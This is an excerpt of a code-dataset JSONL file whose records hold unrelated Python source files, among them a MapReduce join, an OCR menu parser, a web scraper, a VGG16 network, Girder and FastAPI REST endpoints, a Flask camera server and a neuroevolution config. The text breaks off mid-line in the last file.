+{"seq_id":"53751683","text":"# Implement a class to hold room information. This should have name and\n# description attributes.\nclass Room:\n def __init__(self, name, description):\n self.name = name\n self.description = description\n self.n_to = None\n self.s_to = None\n self.e_to = None\n self.w_to = None\n self.items = []\n\n def __str__(self):\n return f\"\"\"{self.name}, {self.description}\\n\n There is {\" and \".join([item.name for item in self.items if self.items]) or \"nothing\"} in this room.\"\"\"","sub_path":"src/room.py","file_name":"room.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"220003430","text":"import MapReduce\nimport sys\n\n\"\"\"\nProblem 2 - Natural Join Operation \n\"\"\"\n\nmr = MapReduce.MapReduce()\n\n# =============================\n# Do not modify above this line\n\ndef mapper(record):\n # key: join attribute(order_id)\n # value: whole record include the table name which the record originated from\n key = record[1]\n value = record\n\n mr.emit_intermediate(key, record)\n\ndef reducer(key, list_of_values):\n # key: join attribute(order_id)\n # value: whole record include the table name which the record originated from\n\n order_record = list()\n temp = list()\n result = list()\n for value in list_of_values:\n if value[0] == \"order\":\n order_record = value\n # mr.emit(order_record)\n # print order_record \n\n for value in list_of_values:\n if value[0] == \"line_item\":\n join_record = list(order_record)\n join_record.extend(value)\n result.append(join_record)\n mr.emit(join_record)\n\n# Do not modify below this line\n# =============================\nif __name__ == '__main__':\n inputdata = open(sys.argv[1])\n mr.execute(inputdata, mapper, reducer)\n","sub_path":"assignment3/join.py","file_name":"join.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"492049961","text":"def check_anagram(st, ts):\n \"\"\"\n :type s: str\n :type t: str\n :rtype: bool\n \"\"\"\n if len(st) != len(ts): return False\n anagram1 = {}\n anagram2 = {}\n for ab, ba in zip(st, ts):\n print(ab, ba)\n # import pdb; pdb.set_trace()\n try:\n anagram1[ab] += 1\n except KeyError:\n anagram1[ab] = 1\n try:\n anagram2[ba] += 1\n except KeyError:\n anagram2[ba] = 1\n\n \n return anagram1 == anagram2\n\nif __name__ == \"__main__\":\n print(check_anagram(\"anagram\", \"nagaram\"))","sub_path":"leetcode/easy/strings/anagram.py","file_name":"anagram.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"284910380","text":"import operator\nimport re\n\nimport cv2\nfrom PIL import Image\n\nimport pytesser\nimport reading_white_text\nimport smooth_image\n\nINVERT_COLOR_THRESHOLD = 128\n\n\ndef make_string_alphanmeric(lines):\n s = re.sub('[^0-9a-zA-Z\\n]+', ' ', lines)\n return s\n\n\ndef greyscale_image_mean(file_name):\n size = 128, 128\n im = Image.open(file_name)\n im.thumbnail(size)\n im.save('thumbnail.jpg', \"JPEG\")\n img = cv2.imread('thumbnail.jpg', 0)\n avg = 0\n x, y = im.size\n for i in range(y):\n for j in range(x):\n avg += img[i][j]\n return float(avg * 1.0 / (128 * 128))\n\n\nD = {}\n\n\ndef remove_too_many_small_words_dish(text):\n new_text = []\n for lines in text:\n word_count = 0.0\n small_word_count = 0.0\n line = lines.split(' ')\n for word in line:\n if len(word) <= 2:\n small_word_count += 1\n word_count += 1\n try:\n small_word_proportion = small_word_count / word_count\n\n except:\n small_word_proportion = 0.0\n # print 'small_word_proportion: ' , small_word_proportion\n if small_word_proportion <= 0.4:\n new_text.append(line)\n\n return new_text\n\n\ndef fact(l):\n if l >= 500:\n return 1\n else:\n f = 500.0 / l\n if int(f) <= 0:\n return 1\n return int(f)\n\n\ndef image_process_extract_string(s, mask, x, y, w, h):\n im = mask[y: y + h, x: x + w]\n cv2.imwrite(s, im)\n size = 2 * w, 2 * h\n im = Image.open(s)\n im_resized = im.resize(size, Image.ANTIALIAS)\n im_resized.save(s, dpi=(100, 100))\n return pytesser.image_to_string(s, 6)\n\n\ndef extract_image(file_name):\n img = cv2.imread(file_name)\n img_final = cv2.imread(file_name)\n\n img2gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n inv_img = (255 - img2gray)\n kernel = cv2.getStructuringElement(cv2.MORPH_CROSS, (5, 2))\n\n dilated = cv2.dilate(inv_img, kernel, iterations=7) # dilate\n type_image = dilated\n _, contours, hierarchy = cv2.findContours(type_image, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE) # get contours\n\n ind = 0\n pix = {}\n value_at = {}\n index = 0\n P = {}\n image_2_text = smooth_image.smooth2(file_name)\n for contour in contours:\n # get rectangle bounding contour\n [x, y, w, h] = cv2.boundingRect(contour)\n # draw rectangle around contour on original image\n if w < 20 or h < 20:\n continue\n if w > 500 and h > 500:\n continue\n\n cv2.rectangle(img, (x, y), (x + w + 10, y + h + 10), (255, 0, 255), 2)\n\n s = '/tmp/' + str(ind) + '.tif'\n\n box_read = image_process_extract_string(s, image_2_text, x, y, w, h)\n # print box_read\n D[(x, y)] = box_read\n ind += 1\n box_read_to_lines = box_read.split('\\n')\n\n for lines in box_read_to_lines:\n P[(x, y)] = lines;\n value_at[index] = (x, y)\n index += 1\n x1 = x / 50\n x1 = x1 * 50\n\n tup = [[x, lines]]\n for key, val in tup:\n pix.setdefault(key, []).append(val)\n cv2.imwrite('boxed_image.jpg', img)\n\n # print D\n final_list2 = []\n sorted_x = sorted(D.items(), key=operator.itemgetter(0))\n # print sorted_x\n for k, v in sorted(D.items()):\n # print v\n list_new = str(v).split('\\n')\n for l in list_new:\n final_list2.append(l)\n\n '''final_list = []\n for val in pix:\n for dish in pix[val]:\n if len(dish) > 1:\n final_list.append(dish) \n '''\n return final_list2\n\n\ndef pre_process_image(file_path):\n norm2dp_image_path = 'norm2dp.jpg'\n final_image_path = 'final_image_processed.jpg'\n im = Image.open(file_path)\n l, w = im.size\n factor = fact(l)\n size = int(factor * l), int(factor * w)\n im_resized = im.resize(size, Image.ANTIALIAS)\n im_resized.save(norm2dp_image_path, dpi=(200, 200))\n im_new = smooth_image.smooth2(norm2dp_image_path)\n cv2.imwrite(final_image_path, im_new)\n return final_image_path\n\n\ndef remove_numeric_part(s):\n no_digits = []\n for i in s:\n if not i.isdigit():\n no_digits.append(i)\n\n # Now join all elements of the list with '',\n # which puts all of the characters together.\n result = ''.join(no_digits)\n return result\n\n\ndef main(file_path):\n mean_grey_scale_value = greyscale_image_mean(file_path)\n\n print(mean_grey_scale_value)\n if not mean_grey_scale_value > INVERT_COLOR_THRESHOLD:\n file_path = reading_white_text.read_image_white_text(file_path)\n file_path = pre_process_image(file_path)\n x = list(extract_image(file_path))\n x = remove_too_many_small_words_dish(x)\n for line in x:\n line = make_string_alphanmeric(str(line))\n line = remove_numeric_part(line)\n line = line.strip()\n if len(line) > 0:\n print (line)\n\n\nmain('/Users/Amit/Projects/menu_parser/test.jpg')\n","sub_path":"build/lib/menu_parser/read_image.py","file_name":"read_image.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"69017292","text":"import requests\nfrom bs4 import BeautifulSoup\n\ndef make_requests():\n html=\"https://sushiwok.kg/bishkek/akcii/\"\n r = requests.get(html)\n return r.content\n\ndef get_data5():\n html = make_requests()\n soup = BeautifulSoup(html, 'html.parser')\n divs = soup.find('div', class_='page-container page-stocks')\n title = divs.find_all('div', class_='stock-wrapper')\n sales_list = []\n title_list = []\n description_list = []\n photo = open('logosushiwok.jpeg', 'rb')\n for item in enumerate(title, 1):\n annouth = item[1].find('span', class_='stock-title').text\n description = item[1].find('div', class_='descr-container').text\n full_title = f\"{str(item[0])}. \" + annouth\n title_list.append(full_title)\n full_description = f\"{str(item[0])}. \" + description\n description_list.append(full_description)\n sales_list.append(title_list)\n sales_list.append(description_list)\n sales_list.append(photo)\n return sales_list\n","sub_path":"sushiwok.py","file_name":"sushiwok.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"567141677","text":"# https://github.com/clovaai/CRAFT-pytorch/blob/master/basenet/vgg16_bn.py\n\n\n# Imports \n\nfrom collections import namedtuple\n\nimport torch\nimport torch.nn as nn \nimport torch.nn.init as init\nfrom torchvision import models\nfrom torchvision.models.vgg import model_urls\n\ndef init_weights(modules):\n # https://prateekvjoshi.com/2016/03/29/understanding-xavier-initialization-in-deep-neural-networks/ \n for m in modules:\n if isinstance(m, nn.Conv2d):\n init.xavier_uniform_(m.weight.data)\n if m.bias is not None:\n m.bias.data.zero_()\n \n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n elif isinstance(m, nn.Linear):\n m.weight.data.normal_(0, 0.01)\n m.bias.data.zero_()\n\n \nclass vgg16_bn(torch.nn.Module):\n\n def __init__(self, pretrained = True, freeze = True):\n super(vgg16_bn, self).__init__()\n model_urls['vgg16_bn'] = model_urls['vgg16_bn'].replace('https://', 'http://')\n vgg_pretrained_features = models.vgg16_bn(pretrained=pretrained).features\n self.slice1 = torch.nn.Sequential()\n self.slice2 = torch.nn.Sequential()\n self.slice3 = torch.nn.Sequential()\n self.slice4 = torch.nn.Sequential()\n self.slice5 = torch.nn.Sequential()\n\n for x in range(12):\n self.slice1.add_module(str(x), vgg_pretrained_features[x])\n for x in range(12, 19):\n self.slice2.add_module(str(x), vgg_pretrained_features[x])\n for x in range(19, 29):\n self.slice3.add_module(str(x), vgg_pretrained_features[x])\n for x in range(29, 39):\n self.slice4.add_module(str(x), vgg_pretrained_features[x])\n\n self.slice5 = torch.nn.Sequential(\n nn.MaxPool2d(3, 1, 1), \n nn.Conv2d(512, 1024, kernel_size = 3, padding = 6, dilation = 6), \n nn.Conv2d(1024, 1024, 1))\n\n if not pretrained:\n init_weights(self.slice1.modules())\n init_weights(self.slice2.modules())\n init_weights(self.slice3.modules())\n init_weights(self.slice4.modules())\n\n init_weights(self.slice5.modules())\n\n\n if freeze:\n for param in self.slice1.parameters():\n param.requires_grad = False\n\n\n# Define forward pass\n\n\n def forward(self, x):\n h = self.slice1(x)\n h_relu2_2 = h\n h = self.slice2(h)\n h_relu3_2 = h\n h = self.slice3(h)\n h_relu4_3 = h\n h = self.slice4(h)\n h_relu5_3 = h\n h = self.slice5(h)\n h_fc7 = h\n vgg_outputs = namedtuple(\"VggOutputs\", ['fc7', 'relu5_3', 'relu4_3', 'relu3_2', 'relu2_2'])\n out = vgg_outputs(h_fc7 ,h_relu5_3, h_relu4_3, h_relu3_2, h_relu2_2)\n return out\n \n","sub_path":"build/lib/text_reco/models/craft/basenet/vgg16_bn.py","file_name":"vgg16_bn.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"70215882","text":"import file1.F as file_utils\n\ncsv = \"/Users/saikris/Downloads/persondata20151016.txt\"\nfile_utils.read(csv, \"\")\n\noption = \"y\"\nwhile option == \"y\":\n row_num = int(input(\"Enter the rownum: \"))\n print(file_utils.readRow(csv, row_num))\n option = input(\"Continue? y/n: \")\n","sub_path":"basics2/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"395483670","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n###############################################################################\n# Girder plugin framework and tests adapted from Kitware Inc. source and\n# documentation by the Imaging and Visualization Group, Advanced Biomedical\n# Computational Science, Frederick National Laboratory for Cancer Research.\n#\n# Copyright Kitware Inc.\n#\n# Licensed under the Apache License, Version 2.0 ( the \"License\" );\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n###############################################################################\n\nfrom bson.objectid import ObjectId\n\nfrom girder.api import access\nfrom girder.api.describe import Description, autoDescribeRoute\nfrom girder.api.rest import filtermodel, Resource\nfrom girder.constants import AccessType, TokenScope\nfrom girder.exceptions import RestException\nfrom girder.models.file import File\nfrom girder.models.item import Item\nfrom girder.models.setting import Setting\n# from girder_jobs.models.job import Job\n\nfrom .constants import PluginSettings\nfrom .models.histogram import Histogram\n\n\nclass HistogramResource(Resource):\n def __init__(self):\n super(HistogramResource, self).__init__()\n\n self.resourceName = 'histogram'\n\n self.route('GET', (), self.find)\n self.route('POST', (), self.createHistogram)\n self.route('DELETE', (':id',), self.deleteHistogram)\n self.route('GET', (':id',), self.getHistogram)\n self.route('GET', (':id', 'access'), self.getHistogramAccess)\n self.route('PUT', (':id', 'access'), self.updateHistogramAccess)\n self.route('GET', ('settings',), self.getSettings)\n\n self.histogram = Histogram()\n\n @access.public(scope=TokenScope.DATA_READ)\n @filtermodel(Histogram)\n @autoDescribeRoute(\n Description('Search for histograms.')\n .responseClass(Histogram, array=True)\n .param('itemId', 'The item ID of the histogram source.',\n required=False)\n .param('bins', 'Number of bins in in the histogram.', required=False,\n dataType='integer')\n .param('label', 'Histogram is of a label image.', required=False,\n dataType='boolean')\n .param('bitmask', 'Histogram is of a image with bitmask values.',\n required=False, dataType='boolean')\n .param('jobId', 'The job ID of the task generating the histogram.',\n required=False)\n .param('fileId', 'The file ID of the histogram file.', required=False)\n .pagingParams(defaultSort='_id')\n .errorResponse()\n .errorResponse('No matching histograms were found.', 404)\n )\n def find(self, itemId, bins, label, bitmask, jobId, fileId, limit, offset,\n sort):\n user = self.getCurrentUser()\n query = {}\n if itemId is not None:\n query['itemId'] = ObjectId(itemId)\n if bins is not None:\n query['bins'] = bins\n if label is not None:\n query['label'] = label\n if bitmask is not None:\n query['bitmask'] = bitmask\n if jobId is not None:\n query['jobId'] = ObjectId(jobId)\n if fileId is not None:\n query['fileId'] = ObjectId(fileId)\n return list(self.histogram.filterResultsByPermission(\n cursor=self.histogram.find(query, sort=sort),\n user=user,\n level=AccessType.READ,\n limit=limit, offset=offset\n ))\n\n @access.user(scope=TokenScope.DATA_WRITE)\n # @filtermodel(model='job', plugin='jobs')\n @filtermodel(Histogram)\n @autoDescribeRoute(\n Description('Create a new histogram from an item.')\n .modelParam('itemId', 'The ID of the source item.',\n paramType='formData', model=Item, level=AccessType.WRITE)\n .param('fileId', 'The ID of the source file.', required=False)\n .param('notify', 'Trigger a notification when completed',\n required=False, dataType='boolean', default=False)\n .param('bins', 'Number of bins in the histogram', required=False,\n dataType='integer',\n # FIXME: update\n default=Setting().get(PluginSettings.DEFAULT_BINS))\n .param('label', 'Image is a label (ignore zero values)',\n required=False, dataType='boolean', default=False)\n .param('bitmask', 'Image label values are bitmasks',\n required=False, dataType='boolean', default=False)\n )\n def createHistogram(self, item, fileId, notify, bins, label, bitmask):\n user = self.getCurrentUser()\n token = self.getCurrentToken()\n if fileId is None:\n # files = list(Item().childFiles(item=item, limit=2))\n query = {\n 'itemId': item['_id'],\n # 'mimeType': {'$regex': '^image/tiff'}\n # query should find the same file(tiff) used for creating histogram\n # but this will always find most recent json histogram\n '$or': [{'mimeType': {'$regex': '^image/'}},\n {'mimeType': 'application/octet-stream'},\n {'exts': ['tif']}],\n }\n files = list(File().find(query, limit=2))\n if len(files) >= 1:\n fileId = str(files[0]['_id'])\n if not fileId:\n raise RestException('Missing \"fileId\" parameter.')\n\n file_ = File().load(fileId, user=user, level=AccessType.READ, exc=True)\n return self.histogram.createHistogramJob(item, file_, user=user,\n token=token, notify=notify,\n bins=bins, label=label,\n bitmask=bitmask)\n\n @access.user(scope=TokenScope.DATA_OWN)\n @filtermodel(Histogram)\n @autoDescribeRoute(\n Description('Delete a histogram.')\n .modelParam('id', model=Histogram, level=AccessType.WRITE)\n .errorResponse('ID was invalid.')\n .errorResponse('Write access was denied for the histogram.', 403)\n )\n def deleteHistogram(self, histogram):\n self.histogram.remove(histogram)\n\n @access.public(scope=TokenScope.DATA_READ)\n @filtermodel(Histogram)\n @autoDescribeRoute(\n Description('Get histogram by ID.')\n .responseClass(Histogram)\n .modelParam('id', model=Histogram, level=AccessType.READ)\n .errorResponse('ID was invalid.')\n .errorResponse('Read access was denied for the histogram.', 403)\n )\n def getHistogram(self, histogram):\n return histogram\n\n @access.user(scope=TokenScope.DATA_OWN)\n @filtermodel(Histogram)\n @autoDescribeRoute(\n Description('Get the access control list for a histogram.')\n .modelParam('id', model=Histogram, level=AccessType.ADMIN)\n .errorResponse('ID was invalid.')\n .errorResponse('Admin access was denied for the histogram.', 403)\n )\n def getHistogramAccess(self, histogram):\n return self.histogram.getFullAccessList(histogram)\n\n @access.user(scope=TokenScope.DATA_OWN)\n @filtermodel(Histogram)\n @autoDescribeRoute(\n Description('Update the access control list for a histogram.')\n .responseClass(Histogram)\n .modelParam('id', model=Histogram, level=AccessType.ADMIN)\n .jsonParam('access', 'The JSON-encoded access control list.')\n .param('public', 'Whether the histogram should be publicly visible.',\n dataType='boolean', required=False)\n .errorResponse('ID was invalid.')\n .errorResponse('Admin access was denied for the histogram.', 403)\n )\n def updateHistogramAccess(self, histogram, access, public):\n self.histogram.setPublic(histogram, public)\n return self.histogram.setAccessList(histogram, access, save=True,\n user=self.getCurrentUser())\n\n @access.public\n @autoDescribeRoute(\n Description('Getting histogram settings.')\n )\n def getSettings(self):\n settings = Setting()\n return {\n PluginSettings.DEFAULT_BINS:\n settings.get(PluginSettings.DEFAULT_BINS),\n }\n","sub_path":"girder_histogram/rest.py","file_name":"rest.py","file_ext":"py","file_size_in_byte":8644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"389330027","text":"from datetime import date\nfrom typing import List\n\nfrom fastapi import APIRouter, Depends, HTTPException\nfrom httpx import AsyncClient\nfrom models import Hackathon, Publication\nfrom pydantic import BaseModel, Field\nfrom tortoise.contrib.pydantic import pydantic_model_creator\n\nfrom crud.users import get_capitan, get_organizer, get_user\n\nrouter = APIRouter()\n\n\nclass NewHackathon(BaseModel):\n name: str\n description: str\n start_date: date = Field(default=\"2021-05-29\")\n end_date: date = Field(default=\"2021-05-29\")\n image: str = Field(\n default=\"https://cdn22.img.ria.ru/images/07e4/05/06/1571020469_0:0:1920:1080_600x0_80_0_0_8492ea5758147feadb42f576ad3ae00c.jpg\"\n )\n\n\nPublicHackathon = pydantic_model_creator(Hackathon, exclude=(\"organizers\", \"teams\"))\nUpdatedHackathon = pydantic_model_creator(\n Hackathon, exclude=(\"id\", \"organizers\", \"teams\", \"sponsors\", \"tags\")\n)\n\n\n@router.post(\"/create\", response_model=PublicHackathon)\nasync def create(new_hack: NewHackathon, user=Depends(get_user)):\n hack = await Hackathon.create(**new_hack.dict())\n await hack.organizers.add(await user.as_organizer)\n return await PublicHackathon.from_tortoise_orm(hack)\n\n\n@router.delete(\"/{id}\")\nasync def destroy(id: int, user=Depends(get_organizer)):\n hack = await Hackathon.get_or_none(id=id)\n if hack is None:\n return HTTPException(status_code=404, detail=\"Hackathon not found\")\n await hack.delete()\n return {\"ok\": True}\n\n\n@router.get(\"/all\", response_model=List[PublicHackathon])\nasync def get_all():\n return await PublicHackathon.from_queryset(Hackathon.all())\n\n\n@router.get(\"/{id}\", response_model=PublicHackathon)\nasync def get_single(id: int):\n hack = await Hackathon.get_or_none(id=id)\n if hack is None:\n raise HTTPException(status_code=404, detail=\"Hackathon not found\")\n print()\n return await PublicHackathon.from_tortoise_orm(hack)\n\n\nclass ParticipantsAmount(BaseModel):\n amount: int\n\n\n@router.get(\"/{id}/participants_amount\", response_model=ParticipantsAmount)\nasync def get_participants_amount(id: int):\n hack = await Hackathon.get_or_none(id=id)\n if hack is None:\n raise HTTPException(status_code=404, detail=\"Hackathon not found\")\n amount = await hack.participants_amount()\n return ParticipantsAmount.construct(amount=amount)\n\n\n# TODO: m2m updates\n@router.put(\"/{id}\", response_model=PublicHackathon)\nasync def update_single(\n id: int, new_hack: UpdatedHackathon, user=Depends(get_organizer)\n):\n hack = await Hackathon.get_or_none(id=id)\n if hack is None:\n raise HTTPException(status_code=404, detail=\"Hackathon not found\")\n hack.update_from_dict(new_hack.dict())\n await hack.save()\n return await PublicHackathon.from_tortoise_orm(hack)\n\n\n@router.post(\"/enter/{id}\", response_model=PublicHackathon)\nasync def enter_hackathon(id: int, user=Depends(get_capitan)):\n hack = await Hackathon.get_or_none(id=id)\n if hack is None:\n raise HTTPException(status_code=404, detail=\"Hackathon not found\")\n [captain] = await user.as_captain\n await hack.teams.add(await captain.team)\n return await PublicHackathon.from_tortoise_orm(hack)\n\n\nclass NewPublication(BaseModel):\n title: str\n text: str\n\n\nPublicationView = pydantic_model_creator(Publication, exclude=(\"hackathon\",))\n\n\n@router.post(\"/{id}/publish\")\nasync def publish_post(id: int, publication: NewPublication):\n hackathon = await Hackathon.get_or_none(id=id)\n if hackathon is None:\n raise HTTPException(status_code=404, detail=\"Hackathon not found\")\n\n publication = await Publication.create(\n **publication.dict(), hackathon_id=hackathon.id\n )\n # TODO FETCH TO BOT SERVER\n message = f\"{hackathon.name}: {publication.title}\\n{publication.text}\"\n print(message)\n async with AsyncClient() as client:\n await client.post(\"http://notifier:8080\", json={\"message\": message})\n return await PublicationView.from_tortoise_orm(publication)\n","sub_path":"backend/crud/hacks.py","file_name":"hacks.py","file_ext":"py","file_size_in_byte":3969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"445094007","text":"from flask import request\nfrom flask import Flask, jsonify\nimport base64\nfrom pymemcache.client import base\nimport time\nimport datetime\nimport random\nimport cv2\nimport json\nimport numpy as np\n\napp = Flask(__name__)\napp.debug = True\n\n\ndef getJsonObj(body):\n # get json string from binary body\n data_string = bytes.decode(body)\n # load to json obj\n obj_json = json.loads(data_string)\n return obj_json\n \ndef set_cam_status(obj_json):\n now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]\n now = datetime.datetime.strptime(now, '%Y-%m-%d %H:%M:%S.%f')\n old = datetime.datetime.strptime(obj_json['timestamp'], '%Y-%m-%d %H:%M:%S.%f')\n interval = now - old\n print('<'*30, interval)\n if interval.total_seconds() > 10:\n obj_json['online'] = 0\n else:\n obj_json['online'] = 1\n obj_json['img'] = None\n return json.dumps(obj_json)\n\ndef getOpencvImg(obj_json):\n # get image bytes string\n img = base64.b64decode(obj_json['img'].encode())\n # get image array\n img_opencv = cv2.imdecode(np.fromstring(img, np.uint8), 1)\n h, w, c = img_opencv.shape\n img_opencv = cv2.resize(img_opencv, (600, 600))\n cv2.imshow(\"aaa\",img_opencv)\n cv2.waitKey(1)\n return img_opencv, h, w, c\n\n@app.route(\"/image/\", methods=[\"GET\"])\ndef get_latest_frame(camera_ip):\n print(\"camera_ip=\", camera_ip)\n client = base.Client((\"localhost\", 11211))\n body = client.get(camera_ip)\n if body is None:\n return {},404\n obj_json = getJsonObj(body)\n getOpencvImg(obj_json)\n return body, 201\n \n@app.route(\"/status/\", methods=[\"GET\"])\ndef get_camera_status(camera_ip):\n print(\"camera_ip=\", camera_ip)\n client = base.Client((\"localhost\", 11211))\n body = client.get(camera_ip)\n if body is None:\n return {},404\n obj_json = getJsonObj(body)\n body2 = set_cam_status(obj_json)\n return body2, 201\n \n@app.route(\"/server_status\", methods=[\"GET\"])\ndef get_server_status():\n return {},201\n\n\nif __name__ == \"__main__\":\n app.run(host=\"10.248.10.35\", port=5000, threaded=False)\n #app.run(host=\"127.0.0.1\", port=5000, threaded=False)\n\n\n","sub_path":"hx_alg_sdk/flask_api/wsgi_ai.py","file_name":"wsgi_ai.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"634143704","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 9 22:25:03 2021\n\n@author: youle\n\"\"\"\nimport numpy as np\nfrom collections import OrderedDict\n\nimport layers\n\nclass neural_network:\n\n def __init__(self, n_node, lr = 0.01):\n\n #store larning rate\n self.lr = lr\n\n #initialize layers\n self.layers = OrderedDict()\n\n for i in range(1, len(n_node)):\n\n self.layers[F'affine{i}'] = layers.affine_w(n_node[i - 1], n_node[i])\n self.layers[F'sigmoid{i}'] = layers.sigmoid()\n\n self.loss_function = layers.squared_error()\n\n def predict(self, data):\n\n out = data\n for layer in self.layers.values():\n out = layer.forward(out)\n\n return out\n\n def execute(self, data, ans, n_iter):\n\n loss = [self.forward(data, ans)]\n\n for itr in range(n_iter):\n\n for i in range(data.shape[0]):\n\n self.forward(data[i:i + 1], ans[i: i + 1])\n self.backward(ans[i:i + 1])\n self.learning()\n\n loss.append(self.forward(data, ans))\n\n return loss\n\n def forward(self, data, ans):\n\n out = self.predict(data)\n\n return self.loss_function.forward(out, ans)\n\n def backward(self, a):\n\n d_out = self.loss_function.backward(a)\n\n r_layers = list(self.layers.values())\n r_layers.reverse()\n\n for layer in r_layers:\n # if d_out.size == 1:\n # d_out = d_out[0]\n d_out = layer.backward(d_out)\n\n def learning(self):\n\n [*map(lambda layer: layer.update_params(self.lr), self.layers.values())]","sub_path":"two_layers_NN/only_w_updating/two_NN_w.py","file_name":"two_NN_w.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"4644521","text":"import json\nimport os\nfrom multiprocessing import current_process\nfrom typing import Dict\n\nfrom torch import device\n\n\nclass Config:\n def __init__(self):\n # ----------------------------------------------- General stuff -----------------------------------------------\n self.run_name = 'test'\n self.n_generations = 100\n # ------------------------------------------------ Model stuff ------------------------------------------------\n self.device = 'gpu' # cpu\n self.n_gpus = 1\n self.n_evals_per_gpu = 1\n self.batch_size = 256\n self.epochs_in_evolution = 8\n self.n_evals_per_bp = 4\n self.max_model_params = 50e6\n\n self.min_square_dim = -1 # Min output size a conv can be without padding\n # --------------------------------------------- Fully train stuff ---------------------------------------------\n self.fully_train = False\n self.resume_fully_train = False # used to know if a generation should be downloaded from wandb or a fully train should be downloaded\n self.fully_train_epochs = 100\n # ---------------------------------------------- Debug Options ----------------------------------------------\n self.dummy_run = False\n self.dummy_time = 0 # number of seconds to wait to return a dummy eval\n self.threading_test = False\n self.max_batches = -1\n # -------------------------------------------- Visualising Options --------------------------------------------\n self.view_graph_plots = False # if true, any plotted graphs will be viewed\n self.plot_best_genotypes = True\n self.plot_every_genotype = False\n self.plot_best_phenotype = True\n self.plot_every_phenotype = False\n self.plot_module_species = False\n self.view_batch_image = False\n # ----------------------------------------------- Dataset stuff -----------------------------------------------\n self.dataset = 'cifar10' # mnist | cifar10 | custom\n self.custom_dataset_root = ''\n self.validation_split = 0.15 # Percent of the train set that becomes the validation set\n self.download_dataset = True\n # ------------------------------------------------- DA stuff --------------------------------------------------\n self.evolve_da = True\n self.evolve_da_pop = False\n self.use_colour_augmentations = True\n self.add_da_node_chance = 0.15\n self.apply_da_chance = 0.5\n self.da_link_forget_chance = 0.25\n self.batch_augmentation = True\n # ------------------------------------------------- cdn stuff -------------------------------------------------\n self.multiobjective = False\n # Population and species sizes\n self.module_pop_size = 50\n self.bp_pop_size = 20\n self.da_pop_size = 5\n\n self.n_module_species = 4\n self.n_blueprint_species = 1\n # Features chances\n self.module_node_batchnorm_chance = 0.65\n self.module_node_dropout_chance = 0.2\n self.module_node_max_pool_chance = 0.3\n # chance of a new node starting with a deep layer - as opposed to a regulariser only layer\n self.module_node_deep_layer_chance = 1\n self.module_node_conv_layer_chance = 1 # chance of linear = 1-conv. not used if no deep layer\n self.lossy_chance = 0.5\n self.mutate_lossy_values = True\n # Layer types\n self.use_depthwise_separable_convs = False\n # Module retention/elitism\n self.fitness_aggregation = 'avg' # max | avg\n self.use_module_retention = False\n self.module_map_forget_mutation_chance = 0.2\n self.max_module_map_ignores = 1\n self.parent_selector = \"uniform\" # uniform | roulette | tournament\n self.representative_selector = 'random' # best | centroid | random\n # blank node settings - if true input/output nodes are left blank perpetually\n self.blank_module_input_nodes = False\n self.blank_bp_input_nodes = False\n self.blank_module_output_nodes = False\n self.blank_bp_output_nodes = False\n # Use the old aggregation method\n self.old_agg = False\n # ------------------------------------------------- neat stuff -------------------------------------------------\n # Used when calculating distance between genomes\n self.disjoint_coefficient = 3\n self.excess_coefficient = 5\n # Speciation\n self.module_speciation = 'neat' # similar | neat\n self.elite_percent = 0.1\n self.reproduce_percent = 0.2 # Percent of species members that are allowed to reproduce\n # used for neat speciation\n self.species_distance_thresh_mod_base = 1\n self.species_distance_thresh_mod_min = 0.001\n self.species_distance_thresh_mod_max = 100\n # Mutation chances\n self.blueprint_add_node_chance = 0.16 # 0.16\n self.blueprint_add_connection_chance = 0.12 # 0.12\n self.blueprint_node_type_switch_chance = 0 # 0.1 chance for blueprint nodes to switch to module nodes\n self.blueprint_node_species_switch_chance = 0.15 # chance per bp\n self.module_add_node_chance = 0.1 # 0.08\n self.module_add_connection_chance = 0.1 # 0.08\n self.module_node_layer_type_change_chance = 0.1\n self.gene_breeding_chance = 0\n # ------------------------------------------------ wandb stuff ------------------------------------------------\n self.use_wandb = True\n self.wandb_tags = []\n self.wandb_run_id = ''\n # -------------------------------------------------------------------------------------------------------------\n\n def get_device(self):\n \"\"\"Used to obtain the correct device taking into account multiple GPUs\"\"\"\n gpu = 'cuda:'\n gpu_idx = '0' if current_process().name == 'MainProcess' else str(int(current_process().name) % self.n_gpus)\n # print('extracted device id:', gpu_idx)\n gpu += gpu_idx\n return device('cpu') if self.device == 'cpu' else device(gpu)\n\n def read(self, file: str):\n # If the 